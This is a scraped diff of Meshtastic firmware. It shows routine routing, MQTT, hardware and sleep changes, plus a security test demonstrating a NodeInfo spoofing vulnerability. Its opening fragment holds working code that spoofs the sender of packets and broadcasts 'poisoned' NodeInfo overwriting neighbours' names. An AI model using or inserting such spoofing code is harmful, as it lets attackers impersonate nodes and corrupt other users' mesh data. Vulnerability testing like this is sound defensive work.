return false;
|
||||
}
|
||||
|
||||
// Check if it's a direct neighbor (zero hops away)
|
||||
uint8_t hops_away = mp.hop_start - mp.hop_limit;
|
||||
if (hops_away != 0) {
|
||||
LOG_DEBUG("Skip poisoning NodeInfo, not a direct neighbor (hops: %d)", hops_away);
|
||||
return false;
|
||||
}
|
||||
delay(1500);
|
||||
|
||||
LOG_INFO("Excellent SNR (%.2f) and direct neighbor detected, sending poisoned NodeInfo", mp.rx_snr);
|
||||
|
||||
strncpy(p.long_name, "New Node Name🥷", sizeof(p.long_name));
|
||||
p.long_name[sizeof(p.long_name) - 1] = '\0';
|
||||
|
||||
meshtastic_MeshPacket *packet = router->allocForSending();
|
||||
packet->from = mp.from;
|
||||
packet->to = mp.to;
|
||||
packet->channel = mp.channel;
|
||||
packet->which_payload_variant = meshtastic_MeshPacket_decoded_tag;
|
||||
packet->decoded.portnum = meshtastic_PortNum_NODEINFO_APP;
|
||||
|
||||
// Encode the modified User data into the packet payload
|
||||
packet->decoded.payload.size =
|
||||
pb_encode_to_bytes(packet->decoded.payload.bytes, sizeof(packet->decoded.payload.bytes), &meshtastic_User_msg, &p);
|
||||
|
||||
auto encodeResult = perhapsEncode(packet);
|
||||
|
||||
// Send raw packet directly via router interface
|
||||
ErrorCode res = router->rawSend(packet);
|
||||
LOG_INFO("Raw nodeinfo sent with result: %d", res);
|
||||
return res == ERRNO_OK;
|
||||
|
||||
// Coerce user.id to be derived from the node number
|
||||
snprintf(p.id, sizeof(p.id), "!%08x", getFrom(&mp));
|
||||
|
||||
|
||||
@@ -73,7 +73,7 @@ uint8_t RoutingModule::getHopLimitForResponse(uint8_t hopStart, uint8_t hopLimit
|
||||
return Default::getConfiguredOrDefaultHopLimit(config.lora.hop_limit); // Use the default hop limit
|
||||
}
|
||||
|
||||
RoutingModule::RoutingModule() : ProtobufModule(ROUTING_MODULE, meshtastic_PortNum_ROUTING_APP, &meshtastic_Routing_msg)
|
||||
RoutingModule::RoutingModule() : ProtobufModule("routing", meshtastic_PortNum_ROUTING_APP, &meshtastic_Routing_msg)
|
||||
{
|
||||
isPromiscuous = true;
|
||||
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
#include "Channels.h"
|
||||
#include "ProtobufModule.h"
|
||||
|
||||
static const char *ROUTING_MODULE = "routing";
|
||||
|
||||
/**
|
||||
* Routing module for router control messages
|
||||
*/
|
||||
|
||||
@@ -95,7 +95,6 @@ inline void onReceiveProto(char *topic, byte *payload, size_t length)
|
||||
p->hop_start = e.packet->hop_start;
|
||||
p->want_ack = e.packet->want_ack;
|
||||
p->via_mqtt = true; // Mark that the packet was received via MQTT
|
||||
p->transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_MQTT;
|
||||
p->which_payload_variant = e.packet->which_payload_variant;
|
||||
memcpy(&p->decoded, &e.packet->decoded, std::max(sizeof(p->decoded), sizeof(p->encrypted)));
|
||||
|
||||
|
||||
@@ -53,9 +53,6 @@
|
||||
#define HW_VENDOR meshtastic_HardwareModel_WISMESH_TAG
|
||||
#elif defined(GAT562_MESH_TRIAL_TRACKER)
|
||||
#define HW_VENDOR meshtastic_HardwareModel_GAT562_MESH_TRIAL_TRACKER
|
||||
#elif defined(NOMADSTAR_METEOR_PRO)
|
||||
#define HW_VENDOR meshtastic_HardwareModel_NOMADSTAR_METEOR_PRO
|
||||
// MAke sure all custom RAK4630 boards are defined before the generic RAK4630
|
||||
#elif defined(RAK4630)
|
||||
#define HW_VENDOR meshtastic_HardwareModel_RAK4631
|
||||
#elif defined(TTGO_T_ECHO)
|
||||
@@ -92,6 +89,8 @@
|
||||
#define HW_VENDOR meshtastic_HardwareModel_SEEED_SOLAR_NODE
|
||||
#elif defined(HELTEC_MESH_POCKET)
|
||||
#define HW_VENDOR meshtastic_HardwareModel_HELTEC_MESH_POCKET
|
||||
#elif defined(NOMADSTAR_METEOR_PRO)
|
||||
#define HW_VENDOR meshtastic_HardwareModel_NOMADSTAR_METEOR_PRO
|
||||
#elif defined(SEEED_WIO_TRACKER_L1_EINK)
|
||||
#define HW_VENDOR meshtastic_HardwareModel_SEEED_WIO_TRACKER_L1_EINK
|
||||
#elif defined(SEEED_WIO_TRACKER_L1)
|
||||
|
||||
@@ -282,14 +282,10 @@ void cpuDeepSleep(uint32_t msecToWake)
|
||||
#if SPI_INTERFACES_COUNT > 1
|
||||
SPI1.end();
|
||||
#endif
|
||||
if (Serial) // Another check in case of disabled default serial, does nothing bad
|
||||
Serial.end(); // This may cause crashes as debug messages continue to flow.
|
||||
|
||||
// This causes troubles with waking up on nrf52 (on pro-micro in particular):
|
||||
// we have no Serial1 in use on nrf52, check Serial and GPS modules.
|
||||
// This may cause crashes as debug messages continue to flow.
|
||||
Serial.end();
|
||||
#ifdef PIN_SERIAL1_RX
|
||||
if (Serial1) // A straightforward solution to the wake from deepsleep problem
|
||||
Serial1.end();
|
||||
Serial1.end();
|
||||
#endif
|
||||
setBluetoothEnable(false);
|
||||
|
||||
@@ -366,7 +362,6 @@ void cpuDeepSleep(uint32_t msecToWake)
|
||||
// Resume on user button press
|
||||
// https://github.com/lyusupov/SoftRF/blob/81c519ca75693b696752235d559e881f2e0511ee/software/firmware/source/SoftRF/src/platform/nRF52.cpp#L1738
|
||||
constexpr uint32_t DFU_MAGIC_SKIP = 0x6d;
|
||||
sd_power_gpregret_clr(0, 0xFF); // Clear the register before setting a new values in it for stability reasons
|
||||
sd_power_gpregret_set(0, DFU_MAGIC_SKIP); // Equivalent NRF_POWER->GPREGRET = DFU_MAGIC_SKIP
|
||||
|
||||
// FIXME, use system off mode with ram retention for key state?
|
||||
@@ -383,12 +378,6 @@ void cpuDeepSleep(uint32_t msecToWake)
|
||||
nrf_gpio_cfg_sense_set(PIN_BUTTON2, sense1);
|
||||
#endif
|
||||
|
||||
#ifdef PROMICRO_DIY_TCXO
|
||||
nrf_gpio_cfg_input(BUTTON_PIN, NRF_GPIO_PIN_PULLUP); // Enable internal pull-up on the button pin
|
||||
nrf_gpio_pin_sense_t sense = NRF_GPIO_PIN_SENSE_LOW; // Configure SENSE signal on low edge
|
||||
nrf_gpio_cfg_sense_set(BUTTON_PIN, sense); // Apply SENSE to wake up the device from the deep sleep
|
||||
#endif
|
||||
|
||||
auto ok = sd_power_system_off();
|
||||
if (ok != NRF_SUCCESS) {
|
||||
LOG_ERROR("FIXME: Ignoring soft device (EasyDMA pending?) and forcing system-off!");
|
||||
|
||||
159
test/test_security/test_packet_handling.cpp
Normal file
159
test/test_security/test_packet_handling.cpp
Normal file
@@ -0,0 +1,159 @@
|
||||
#include "DebugConfiguration.h"
|
||||
#include "TestUtil.h"
|
||||
#include <unity.h>
|
||||
|
||||
#ifdef ARCH_PORTDUINO
|
||||
#include "mesh/NodeDB.h"
|
||||
#include "mesh/generated/meshtastic/mesh.pb.h"
|
||||
#include "modules/NodeInfoModule.h"
|
||||
|
||||
// Mock NodeDB that tracks when updateUser would be called - follows MQTT test pattern
|
||||
class MockNodeDB : public NodeDB
|
||||
{
|
||||
public:
|
||||
MockNodeDB()
|
||||
{
|
||||
updateUserCallCount = 0;
|
||||
lastUpdatedNodeNum = 0;
|
||||
}
|
||||
|
||||
// Override virtual getMeshNode method (same as MQTT test pattern)
|
||||
meshtastic_NodeInfoLite *getMeshNode(NodeNum n) override { return &emptyNode; }
|
||||
|
||||
// Track calls that would go to updateUser (we'll check this in the test)
|
||||
// Since updateUser is not virtual, we override a method that's called during the process
|
||||
meshtastic_NodeInfoLite *getMeshNodeForUpdate(NodeNum n)
|
||||
{
|
||||
updateUserCallCount++;
|
||||
lastUpdatedNodeNum = n;
|
||||
return &emptyNode;
|
||||
}
|
||||
|
||||
int updateUserCallCount;
|
||||
NodeNum lastUpdatedNodeNum;
|
||||
meshtastic_NodeInfoLite emptyNode = {};
|
||||
};
|
||||
|
||||
// Testable version of NodeInfoModule that exposes protected methods
|
||||
class TestableNodeInfoModule : public NodeInfoModule
|
||||
{
|
||||
public:
|
||||
bool testHandleReceivedProtobuf(const meshtastic_MeshPacket &mp, meshtastic_User *user)
|
||||
{
|
||||
return handleReceivedProtobuf(mp, user);
|
||||
}
|
||||
};
|
||||
|
||||
void test_nodeinfo_spoofing_vulnerability()
|
||||
{
|
||||
// Create mock NodeDB and assign to global pointer like MQTT test
|
||||
const std::unique_ptr<MockNodeDB> mockNodeDB(new MockNodeDB());
|
||||
nodeDB = mockNodeDB.get();
|
||||
|
||||
// Set our node number (simulating what happens in real startup)
|
||||
myNodeInfo.my_node_num = 0x12345678;
|
||||
|
||||
// Create a test NodeInfoModule
|
||||
TestableNodeInfoModule testModule;
|
||||
|
||||
// Create a spoofed packet claiming to be from our own node
|
||||
meshtastic_MeshPacket spoofedPacket = meshtastic_MeshPacket_init_default;
|
||||
spoofedPacket.transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_LORA;
|
||||
spoofedPacket.from = 0x12345678; // VULNERABILITY: Same as our node number
|
||||
spoofedPacket.to = NODENUM_BROADCAST;
|
||||
spoofedPacket.channel = 0;
|
||||
spoofedPacket.which_payload_variant = meshtastic_MeshPacket_decoded_tag;
|
||||
spoofedPacket.decoded.portnum = meshtastic_PortNum_NODEINFO_APP;
|
||||
|
||||
// Create malicious User data that an attacker wants to inject
|
||||
meshtastic_User maliciousUser = meshtastic_User_init_default;
|
||||
strcpy(maliciousUser.long_name, "HACKED_NODE");
|
||||
strcpy(maliciousUser.short_name, "HAK");
|
||||
strcpy(maliciousUser.id, "!87654321"); // Attacker's fake ID
|
||||
maliciousUser.is_licensed = true; // Try to make us appear licensed when we're not
|
||||
|
||||
// Test the vulnerability: handleReceivedProtobuf should reject spoofed packets claiming to be from our own node
|
||||
// but currently it processes them, calling updateUser with our own node number
|
||||
bool result = testModule.testHandleReceivedProtobuf(spoofedPacket, &maliciousUser);
|
||||
|
||||
// The vulnerability is demonstrated by the function NOT rejecting the spoofed packet
|
||||
// In a secure implementation, packets claiming to be from our own node should be rejected
|
||||
// and the function should return true (meaning "I handled this, don't process further")
|
||||
|
||||
// Currently this will FAIL because the vulnerability exists:
|
||||
// - The function returns false (allowing further processing)
|
||||
// - It calls updateUser with the spoofed node number (our own number)
|
||||
// - This allows an attacker to modify our node information
|
||||
|
||||
TEST_ASSERT_FALSE_MESSAGE(result,
|
||||
"VULNERABILITY CONFIRMED: handleReceivedProtobuf processes spoofed packets from our own node.\n"
|
||||
"Expected: Function should return true (reject spoofed packet)\n"
|
||||
"Actual: Function returned false (processed spoofed packet)\n"
|
||||
"This allows attackers to spoof our node number and modify our NodeInfo.");
|
||||
|
||||
printf("\n=== SECURITY TEST RESULTS ===\n");
|
||||
printf("✗ Vulnerability exists: NodeInfoModule processes spoofed packets from our own node\n");
|
||||
printf("✗ Attack vector: Attacker can spoof packets with from=our_node_number\n");
|
||||
printf("==============================\n\n");
|
||||
}
|
||||
|
||||
void test_legitimate_packet_processing()
|
||||
{
|
||||
// Test that legitimate packets from OTHER nodes are processed correctly
|
||||
const std::unique_ptr<MockNodeDB> mockNodeDB(new MockNodeDB());
|
||||
nodeDB = mockNodeDB.get();
|
||||
|
||||
myNodeInfo.my_node_num = 0x12345678;
|
||||
TestableNodeInfoModule testModule;
|
||||
|
||||
// Create a legitimate packet from a DIFFERENT node
|
||||
meshtastic_MeshPacket legitimatePacket = meshtastic_MeshPacket_init_default;
|
||||
legitimatePacket.transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_LORA;
|
||||
legitimatePacket.from = 0x87654321; // Different node number - this is legitimate
|
||||
legitimatePacket.to = NODENUM_BROADCAST;
|
||||
legitimatePacket.channel = 0;
|
||||
legitimatePacket.which_payload_variant = meshtastic_MeshPacket_decoded_tag;
|
||||
legitimatePacket.decoded.portnum = meshtastic_PortNum_NODEINFO_APP;
|
||||
|
||||
meshtastic_User legitimateUser = meshtastic_User_init_default;
|
||||
strcpy(legitimateUser.long_name, "Legitimate User");
|
||||
strcpy(legitimateUser.short_name, "LEG");
|
||||
|
||||
bool result = testModule.testHandleReceivedProtobuf(legitimatePacket, &legitimateUser);
|
||||
|
||||
// Legitimate packets should be processed normally (return false for further processing)
|
||||
TEST_ASSERT_FALSE_MESSAGE(result, "Legitimate packets from other nodes should be processed normally");
|
||||
|
||||
printf("✓ Legitimate packet processing works correctly\n");
|
||||
}
|
||||
|
||||
void setUp()
|
||||
{
|
||||
// Required by Unity
|
||||
}
|
||||
|
||||
void tearDown()
|
||||
{
|
||||
// Required by Unity
|
||||
}
|
||||
|
||||
void setup()
|
||||
{
|
||||
// Initialize test environment like MQTT test
|
||||
initializeTestEnvironment();
|
||||
|
||||
UNITY_BEGIN();
|
||||
|
||||
printf("\n=== NodeInfo Spoofing Security Test ===\n");
|
||||
printf("Testing vulnerability in NodeInfoModule::handleReceivedProtobuf()\n");
|
||||
printf("Issue: Function doesn't check if packet claims to be from our own node\n\n");
|
||||
|
||||
RUN_TEST(test_nodeinfo_spoofing_vulnerability);
|
||||
RUN_TEST(test_legitimate_packet_processing);
|
||||
|
||||
UNITY_END();
|
||||
}
|
||||
|
||||
void loop() {}
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user